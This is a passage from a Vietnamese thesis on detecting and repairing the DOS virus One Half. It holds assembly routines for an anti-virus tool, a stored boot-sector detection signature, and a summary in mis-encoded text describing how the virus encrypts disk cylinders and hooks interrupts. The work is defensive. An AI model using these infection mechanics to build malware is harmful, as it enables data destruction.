 push  dx 
 xor  cx,cx 
 mov  dx,OFFSET _tenfile 
 mov  ax,4301h 
 int  21h 
 pop  dx 
 pop  cx 
 pop  ax 
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 ret 
dat_thuoc_tinh_bt endp 
;------------------------- 
tra_thuoc_tinh proc 

 push  ax 
 push  cx 
 push  dx 
 xor  ch,ch 
 mov  cl,thuoc_tinh 
 mov  dx,OFFSET _tenfile 
 mov  ax,4301h 
 int  21h 
 pop  dx 
 pop  cx 
 pop  ax 
 ret 

tra_thuoc_tinh endp 
;------------------------- 
mo_file_handle proc 

 ; Mo file Handle cho tenfile, the file se dat vao bx 
 ; return 0 neu khong co loi, nguoc lai 1 neu da co loi 
 clc 
 mov  al,2  ; 0:de doc, 1 : ghi, 2: doc va ghi 
 mov  ah,3Dh 
 int  21h 
 jc  loi_mo_file 
 mov  bx,ax  ; Mo duoc thi chuyen filehandle tu ax 
sang bx. 
 mov  ax,0 
 jmp  kt_mo_file 
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loi_mo_file: 
 mov  ax,1 

kt_mo_file: 
 ret 

mo_file_handle endp 
;----------------------------- 
doc_file_handle proc 

 ; Doc tu file handle, handle dat trong bx 
 ; gom cx byte, doc vao buffer ds:dx 
 ; ax=0 : loi doc file, ax>0 la so byte doc duoc 
 push  dx 
 mov  dx,OFFSET buff_10 
 mov  ah,3Fh 
 int  21h 
 jc  loi_doc_file 
 jmp  kt_doc_file 

loi_doc_file: 
 mov  ax,0 

kt_doc_file: 
 pop  dx 
 ret 

doc_file_handle endp 
;----------------------------- 
dong_file_handle proc 

; Dong file handle, handle dat trong bx 
 mov  ah,3Eh 
 int  21h 
 jc  loi_dong_file 
 mov  ax,0 
 jmp  kt_dong_file 
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loi_dong_file: 
 mov  ax,1 

kt_dong_file: 
 ret 

dong_file_handle endp 
;------------------------ 
dat_tro_file proc 

 ; Dat con tro file dich chuyen (cx*65536+dx) byte ke tu 
vi tri dau file. 
 mov  al,0 
 mov  ah,42h 
 int  21h 
 jc  loi_dat_tro 
 mov  ax,0 
 jmp  kt_dat_tro 

loi_dat_tro: 
 mov  ax,1 

kt_dat_tro: 
 ret 

dat_tro_file endp 
;------------------------ 
thong_bao_loi_mo proc 

 push  dx 
 call  xuong_dong 
 mov  dx,OFFSET mess_loi_mo 
 call  write_screen 
 call  press_any_key 
 call  xuong_dong 
 pop  dx 
 ret 
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thong_bao_loi_mo endp 
;------------------------ 
thong_bao_loi_doc proc 

 push  dx 
 call  xuong_dong 
 mov  dx,OFFSET mess_loi_doc 
 call  write_screen 
 call  press_any_key 
 call  xuong_dong 
 pop  dx 
 ret 

thong_bao_loi_doc endp 
;------------------------ 
thong_bao_loi_dong proc 

 push  dx 
 call  xuong_dong 
 mov  dx,OFFSET mess_loi_dong 
 call  write_screen 
 call  press_any_key 
 call  xuong_dong 
 pop  dx 
 ret 

thong_bao_loi_dong endp 
;------------------------ 
end 
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File 5: Lib.asm 
.model small 
.data 

 file_vmb  db 'VMB.DAT',0 
 mess_loi_tao_file  db 'Not create file VMB.DAT!$' 
 mess_loi_dia_day  db 'Dia day!$' 
 mess_hoi  db 'Co dong y khong <Y/N>? : $' 
 
 ma_one_half  db 00h,00h  ; Offset 
  db 06h  ; Length 
  db 33h,0DBh,0FAh 
  db 0BCh,00h,7Ch  ; Code Virus 
  db 04h dup(0)  ; Not used 
  db 00h  ; Head 
  db 00h  ; Cylinder 
  db 07h  ; Offset location sector 
(bottom up) 
  db 'One Half $'  ; Virus name 
 
 Table  dw 10000 
  dw 1000 
  dw 100 
  dw 10 
  dw 1 
 Count  db 0 
 

.code 
 public xuong_dong 
 public ve_dau_dong 
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 public write_screen 
 public press_any_key 
 public hoi 
 public write_hex_to_dec 
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xuong_dong proc 
 push  ax 
 push  dx 
 mov  dl,0Dh 
 mov  ah,02h 
 int  21h 
 mov  dl,0Ah 
 mov  ah,02h 
 int  21h 
 pop  dx 
 pop  ax 
 ret 

xuong_dong endp 
;-------------------------- 
ve_dau_dong proc 

 push  ax 
 push  dx 
 mov  dl,0Dh 
 mov  ah,02h 
 int  21h 
 pop  dx 
 pop  ax 
 ret 

ve_dau_dong endp 
;-------------------------- 
write_screen proc 

 push  ax 
 mov  ah,09h 
 int  21h 
 pop  ax 
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 ret 
write_screen endp 
;------------------------ 
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press_any_key proc 
 push  ax 
 mov  ah,08h 
 int  21h 
 mov  ah,0Bh 
 int  21h 
 cmp  al,0FFh 
 jnz  khong_con 
 mov  ah,08h 
 int  21h 

khong_con: 
 pop  ax 
 ret 

press_any_key endp 
;------------------------ 
hoi proc 

 ; Gia tri tra lai cua ham trong ax 
 ; ax=1 la dong y, ax=0 la khong dong y 
 push  dx 
 mov  dx,OFFSET mess_hoi 
 call  write_screen 

loop_hoi: 
 mov  ah,08h 
 int  21h 
 cmp  al,'Y' 
 je  dong_y 
 cmp  al,'y' 
 je  dong_y 
 cmp  al,'N' 
 je  khong_dong_y 
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 cmp  al,'n' 
 je  khong_dong_y 
 jmp  loop_hoi 

dong_y: 
 mov  dl,al 
 mov  ah,02h 
 int  21h 
 mov  ax,1 
 jmp  ket_thuc_hoi 

khong_dong_y: 
 mov  dl,al 
 mov  ah,02h 
 int  21h 
 mov  ax,0 
 jmp  ket_thuc_hoi 

ket_thuc_hoi: 
 pop  dx 
 call  xuong_dong 
 ret 

hoi endp 
;******************************** 
tao_VMB_DAT proc 

 mov  dx,OFFSET file_vmb 
 mov  cx,0 
 mov  ah,3Ch 
 int  21h  ; Tao file_vmb moi, handle dat o AX 
 jc  loi_tao_file 
 mov  bx,ax 
 mov  dx,OFFSET ma_one_half 
 mov  cx,01Ah 
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 mov  ah,40h 
 int  21h 
 cmp  ax,cx 
 jb  loi_dia_day 

dong_file: 
 mov  ah,03Eh 
 int  21h 
 jmp  kt_tao_file 

loi_tao_file: 
 mov  dx,OFFSET mess_loi_tao_file 
 call  write_screen 
 call  xuong_dong 
 jmp  kt_tao_file 

loi_dia_day: 
 mov  dx,OFFSET mess_loi_dia_day 
 call  write_screen 
 call  xuong_dong 
 jmp  dong_file 

kt_tao_file: 
 ret 

tao_VMB_DAT endp 
;-------------------------- 
write_hex_to_dec proc ; In gia tri trong ax ra duoi dang 

decimal 
 push  ax 
 push  bx 
 push  cx 
 push  dx 
 xor  cl,cl 
 mov  Count,cl 
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 mov  cx,5 
 mov  bx,OFFSET Table 
 cmp  ax,0 
 ja  Lcb 
 mov  cx,1 
 add  bx,8 
 jmp  L0 

Lcb: 
 cmp  ax,word ptr [bx] 
 jae  L0 
 add  bx,2 
 dec  cx 
 jmp  Lcb 

L0: 
 cmp  ax,word ptr [bx] 
 jb  L1 
 sub  ax,word ptr [bx] 
 inc  Count 
 jmp  L0 

L1: 
 push  ax 
 mov  al,Count 
 add  al,30h 
 mov  ah,0Eh 
 int  10h 
 pop  ax 
 mov  Count,0 
 add  bx,2 
 loop  L0 
 pop  dx 
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 pop  cx 
 pop  bx 
 pop  ax 
 ret 

write_hex_to_dec endp 
;-------------------------- 
end 
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file 6: scr.asm 
.model small 
.data 
.code 

 public _save_screen 
 public _store_screen 

_save_screen proc 
 push  ds 
 push  es 
 push  si 
 push  di 
 mov  ax,0B800h 
 mov  ds,ax 
 mov  es,ax 
 mov  si,0 
 mov  di,4096 
 mov  cx,4000 
 rep  movsb 
 pop  di 
 pop  si 
 pop  es 
 pop  ds 
 ret 

_save_screen endp 
;--------------------- 
_store_screen proc 

 push  ds 
 push  es 
 push  si 



 
www.nhipsongcongnghe.net 

 
225/233 

 push  di 
 push  cx 
 mov  ax,0B800h 
 mov  ds,ax 
 mov  es,ax 
 mov  si,4096 
 mov  di,0 
 mov  cx,4000 
 rep  movsb 
 pop  cx 
 pop  di 
 pop  si 
 pop  es 
 pop  ds 
 ret 

_store_screen endp 
;--------------------- 
end 

 

Tãm t¾t luËn ¸n 

I. C¬ chÕ t¸c ®éng cña virus One Half. 

- One Half lµ mét virus l−ìng tÝnh (võa lµ B-virus võa lµ F-
virus). KÝch th−íc cña virus One Half lµ 3544 byte. 

1. B-virus One Half. 

- B-virus One Half l−u tró trªn vïng c¸c Sector dÊu mÆt cña 
®Üa cøng (Side 0, Cylinder 0, 7 sector cuèi). 
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- Khi m¸y tÝnh khëi ®éng b»ng ®Üa cøng ®· bÞ nhiÔm virus 
One Half, phÇn m· cña nã sÏ ®−îc t¶i vµo 9F00h:0000h (vïng bé 
nhí c¬ së cao nhÊt), kh«ng cho phÐp DOS qu¶n lý vïng nhí nµy 
b»ng c¸ch trõ gi¸ trÞ biÕn l−u tr÷ tæng sè vïng nhí c¬ së tÝnh theo 
KB (t¹i 0:413h) ®i 4 (KB). Sau khi t¶i xong, phÇn m· nµy sÏ ®−îc 
trao quyÒn ®iÒu khiÓn. 

- PhÇn m· virus thùc hiÖn hai c«ng viÖc chÝnh sau ®©y: 

+ M· ho¸ 2 Cylinder trªn ®Üa cøng. Gi¸ trÞ cña Cylinder cuèi 
cïng ®−îc m· ho¸ sÏ ®−îc ghi vµo word 29h trong Master Boot vµ 
gi¸ trÞ nµy lµ c¨n cø cho lÇn m· tiÕp theo. PhÐp to¸n m· ho¸ ®−îc 
sö dông lµ phÐp to¸n XOR, to¸n h¹ng m· ho¸ lµ gi¸ trÞ cña biÕn 
®Õm thêi gian t¹i thêi ®iÓm l©y nhiÔm. 

+ ChiÕm hai ng¾t 21h vµ 13h. ViÖc can thiÖp tíi c¸c ng¾t nµy 
gióp virus One Half l©y nhiÔm trªn c¸c file kh¶ thi khi sö dông 
c¸c chøc n¨ng cña ng¾t 21h, còng nh− viÖc chiÕm ng¾t 13h gióp 
hÖ thèng vÉn lµm viÖc b×nh th−êng trªn c¸c vïng ®· bÞ m· ho¸, 
trong tr−êng hîp trªn vïng c¸c sector dÊu mÆt, viÖc chi phèi ng¾t 
13h cßn ngôy trang chèng l¹i kh¶ n¨ng ph¸t hiÖn sù cã mÆt cña B-
virus One Half. 

2. F-virus One Half. 

§èi víi virus One Half, c¸c file kh¶ thi chØ lµ ®èi t−îng ®Ó 
virus l©y lan. Khi virus nhiÔm vµo file, toµn bé phÇn m· cña virus 
sau khi ®· ®−îc m· ho¸ (b»ng phÐp to¸n XOR, gi¸ trÞ cña to¸n 
h¹ng m· ho¸ lµ gi¸ trÞ cña biÕn ®Õm thêi gian t¹i thêi ®iÓm l©y 
nhiÔm) ®−îc thªm vµo cuèi file. Mét sè ®o¹n m· nhá ®−îc thay 
thÕ trong file ®èi t−îng ®Ó lµm nhiÖm vô gi¶i m· phÇn m· cña 
virus One Half. 
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Khi thùc hiÖn file kh¶ thi (®· bÞ nhiÔm) b»ng chøc n¨ng 4Bh 
cña DOS, phÇn m· cña virus One Half sÏ ®−îc gi¶i m·, sau ®ã sÏ 
®−îc trao quyÒn ®iÒu khiÓn. PhÇn m· nµy sÏ kiÓm tra Partition trªn 
®Üa cøng xem ®· bÞ nhiÔm ch−a, nÕu ch−a bÞ l©y nhiÔm sÏ tiÕn hµnh 
l©y nhiÔm trªn ®Üa cøng, sau ®ã sÏ tr¶ l¹i cho file ®èi t−îng c¸c 
®o¹n m· ®· bÞ virus One Half thay thÕ vµ tr¶ l¹i quyÒn ®iÒu khiÓn 
cho file ®èi t−îng mét c¸ch b×nh th−êng. 

II. So s¸nh víi mét sè virus hiÖn nay vµ mét sè 
nhËn xÐt vÒ c¸c ch−¬ng tr×nh chèng virus 
xö lý ®èi víi virus One Half. 

One Half lµ mét virus nÕu m¸y tÝnh bÞ nhiÔm th× khã kh«i 
phôc hÖ thèng v× mét sè lý do sau ®©y: 

- Lµ virus l−ìng tÝnh, võa lµ B-virus, võa lµ F-virus. PhÇn 
nhiÒu c¸c virus xuÊt hiÖn tõ tr−íc ®Õn nay chØ ®¬n tÝnh, nghÜa lµ 
chØ lµ B-virus hoÆc chØ lµ F-virus. 

- C¸ch ph¸ ho¹i cña One Half lµ m· ho¸ th«ng tin trªn ®Üa, 
cho nªn viÖc kh«i phôc hÖ thèng trë nªn khã kh¨n, kh«ng chØ lµ 
tr¶ l¹i b¶ng Master Boot ban ®Çu vµo vÞ trÝ cña nã, mµ cßn ph¶i cã 
tr¸ch nhiÖm gi¶i m· c¸c phÇn ®· bÞ One Half m· ho¸. 

- ViÖc kh«i phôc file kh¶ thi bÞ nhiÔm One Half còng gÆp 
ph¶i c¸c khã kh¨n, tr−íc hÕt lµ phÇn m· cña virus ghÐp vµo file ®· 
bÞ m· ho¸, h¬n n÷a One Half kh«ng chØ ghÐp phÇn m· cña m×nh 
vµo cuèi file mµ cßn chÌn mét sè ®o¹n m· nhá vµo gi÷a file ®èi 
t−îng, c¸c ®o¹n m· nµy kh«ng cè ®Þnh vµ vÞ trÝ cña nã trong file 
®èi t−îng còng bÞ thay ®æi. V× thÕ nÕu c¨n cø vÒ mÆt h×nh thøc th× 
khã cã thÓ kh«i phôc ®−îc file bÞ l©y nhiÔm. 

ChÝnh v× c¸c khã kh¨n ®ã, c¸c ch−¬ng tr×nh chèng virus hiÖn 
nay trªn thÞ tr−êng ch−a kh«i phôc mét c¸ch triÖt ®Ó ®èi víi virus 
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One Half. VÝ dô, FPROT chØ kh«i phôc file kh¶ thi bÞ l©y nhiÔm, 
cßn SCAN230 th× khuyªn r»ng h·y l−u tr÷ d÷ liÖu tr−íc khi kh«i 
phôc B-virus One Half, v× SCAN kh«ng gi¶i m· phÇn ®Üa cøng ®· 
bÞ One Half m· ho¸. 

III. ThiÕt kÕ ch−¬ng tr×nh chèng virus vµ 
kh«i phôc hÖ thèng. 

Mét ch−¬ng tr×nh ph¸t hiÖn virus vµ kh«i phôc hÖ thèng bao 
gåm 3 modul chÝnh: 

- KiÓm tra bé nhí trong. 

- KiÓm tra Master Boot vµ Boot Sector. 

- KiÓm tra file. 

Ch−¬ng tr×nh ph¸t hiÖn virus vµ kh«i phôc hÖ thèng trong ®å 
¸n tËp trung chñ yÕu vµo virus One Half, song ®−îc thiÕt kÕ më 
®Ó cã thÓ ph¸t hiÖn vµ kh«i phôc c¸c lo¹i virus th«ng th−êng kh¸c 
mµ kh«ng ph¶i söa l¹i m· cña ch−¬ng tr×nh. Cô thÓ lµ ch−¬ng 
tr×nh ®−a ra c¸c cÊu tróc ®Ó l−u tr÷ c¸c ®Æc ®iÓm nhËn d¹ng cña 
virus, th«ng tin cña c¸c cÊu tróc nµy ®−îc l−u tr÷ trªn file. Nh− 
vËy, sau khi mét virus ®−îc kh¶o s¸t, nÕu c¸c ®Æc ®iÓm nhËn d¹ng 
cña nã ®−îc cËp nhËt trong file d÷ liÖu th× ch−¬ng tr×nh hoµn toµn 
cã thÓ ph¸t hiÖn vµ kh«i phôc hÖ thèng ®èi víi lo¹i virus ®ã. 
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1. KiÓm tra bé nhí trong. 

 

  found virus 
            Test VMEM.DAT   Abort 
 
 
 not found   

 abort 
 
  not OK 
 Test Size Mem & Int21h  Warning, choose 
 
  
 OK 
  continue 
 Continue  

 
 

File VMEM.DAT l−u tr÷ th«ng tin nhËn d¹ng virus trong bé 
nhí. Nã sö dông cÊu tróc sau: 

4 byte  : §Þa chØ ®o¹n m· nhËn biÕt virus trong bé nhí 

1 byte  : Sè l−îng byte trong ®o¹n m· nhËn biÕt 

10 byte : M· nhËn biÕt 

10 byte : Tªn cña virus. 
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2. KiÓm tra Master Boot vµ Boot Sector. 

 
 §èi chiÕu MB cÇn kiÓm tra        OK 
 víi MB chuÈn   Continue 
 
 
 not OK 
 
 
 §èi chiÕu MB cÇn kiÓm traKh«ng ph¸t hiÖn  
 víi m· nhËn biÕt VR   
 trong VMB.DAT 
 
 
 Ph¸t hiÖn   No
   
Hái: ®Ì MB chuÈn  
    
 
 
 Gi¶i m· d÷ liÖu trªn ®Üa  Yes 
  (nÕu VR m· ho¸) 
   
 
 
 
 
 Kh«i phôc MB cò  §Ì MB chuÈn 
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File VMB.DAT l−u tr÷ th«ng tin nhËn d¹ng virus trong 
Master Boot trªn ®Üa. Nã sö dông cÊu tróc sau: 

 2 byte  : §Þa chØ offset cña ®o¹n m· nhËn biÕt virus 
trong Master Boot. 

 1 byte  : Sè l−îng byte trong ®o¹n m· nhËn biÕt 

 10 byte : M· nhËn biÕt 

 3 byte  : N¬i cÊt giÊu Master Boot cò cña ®Üa 

 10 byte : Tªn cña virus. 

 

3. KiÓm tra file. 

 
  hÕt 
 Search file   End 
 
 
 cßn 
 
 
 Më file (®äc-ghi) 
 
 
  
 
 Kh«ngbÞ  
 nhiÔm KiÓm tra 
 
 
 bÞ nhiÔm 
 
 



 
www.nhipsongcongnghe.net 

 
232/233 

 Kh«i phôc file 
 

File VMEM.DAT l−u tr÷ th«ng tin nhËn d¹ng virus trong bé 
nhí. Nã sö dông cÊu tróc sau: 

 2 byte  : KÝch th−íc cña virus 

 4 byte  : VÞ trÝ cña ®o¹n m· nhËn biÕt trªn file ®èi 
t−îng 

 1 byte  : Sè l−îng byte trong ®o¹n m· nhËn biÕt 

 10 byte : M· nhËn biÕt 

 10 byte : Tªn cña virus. 
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IV. C¸c kÕt qu¶ thö nghiÖm ch−¬ng tr×nh. 

Ch−¬ng tr×nh ®· ®−îc kiÓm tra trªn c¸c m¸y tÝnh cã cÊu h×nh 
kh¸c nhau, trªn c¸c æ ®Üa cøng cã c¸c th«ng sè kh¸c nhau. Sau khi 
m¸y tÝnh bÞ nhiÔm, ch−¬ng tr×nh ®· ph¸t hiÖn ®−îc sù cã mÆt cña 
virus One Half trong Master Boot vµ ®· kh«i phôc hÖ thèng trë l¹i 
nh− ban ®Çu tr−íc khi bÞ virus One Half l©y nhiÔm. Cã mét sè 
tr−êng hîp thùc tÕ virus One Half l©y nhiÔm ®· kh¸ l©u, sè l−îng 
Cylinder bÞ One Half m· ho¸ kh¸ lín (gÇn 400 Cylinder), ch−¬ng 
tr×nh còng ®· kh«i phôc thµnh c«ng ®Ó hÖ thèng m¸y ho¹t ®éng 
trë l¹i nh− b×nh th−êng. 

§èi víi c¸c file bÞ l©y nhiÔm virus One Half, ch−¬ng tr×nh ®· 
ph¸t hiÖn vµ kh«i phôc hoµn chØnh l¹i nh− ban ®Çu. §· thö 
nghiÖm ch−¬ng tr×nh trªn c¸c file COMMAND.COM, 
FORMAT.COM, SK.COM, DEBUG.EXE,... ®· bÞ l©y nhiÔm One 
Half th× ch−¬ng tr×nh ®· kh«i phôc chóng trë l¹i nh− tr¹ng th¸i 
b×nh th−êng ban ®Çu. 

 


